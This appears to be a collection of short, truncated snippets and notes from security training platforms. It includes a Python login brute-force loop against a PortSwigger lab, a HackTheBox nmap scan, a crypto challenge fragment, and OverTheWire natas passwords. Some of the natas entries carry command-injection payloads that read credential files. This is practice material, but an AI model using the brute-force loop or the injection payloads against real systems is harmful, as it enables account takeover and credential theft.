heapbytes

import requests

url = 'https://0a1500720486644082cc1618002c003c.web-security-academy.net/login'
users = open('users.txt', 'r').read().splitlines()
passwords = open('passwd.txt', 'r').read().splitlines()

for username in users:
    data = {'username': username, 'password': 'password'}
    r = requests.post(url, data=data)
    

heapbytes

#vitunix i3

heapbytes

import requests
import sys
import subprocess
import paramiko
import os
import time
from pwn import *

#import socket
#from termcolor import colored

heapbytes

Machine name - Shibboleth ( HackTheBox )

Nmap Scan

└─$ nmap -p- -sC -sV shibboleth.htb
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-15 09:37 IST
Nmap scan report for shibboleth.htb (10.129.99.116)

heapbytes

Challenge Files:

Script

def my_function(x):
    return pow(x,3)+10*pow(x,2)+x*7 + 6

plaintext = "<censored>"

heapbytes

• natas2 - ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
• natas3 - sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
• natas4 - Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
• natas5 - iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
• natas6 - aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
• natas7 - 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
• natas8 - DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
• natas9 - W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
• natas10 - nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu [word; cat /etc/natas_webpass/natas10 ]
• natas11 - U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK [ .* /etc/natas_webpass/natas11 ]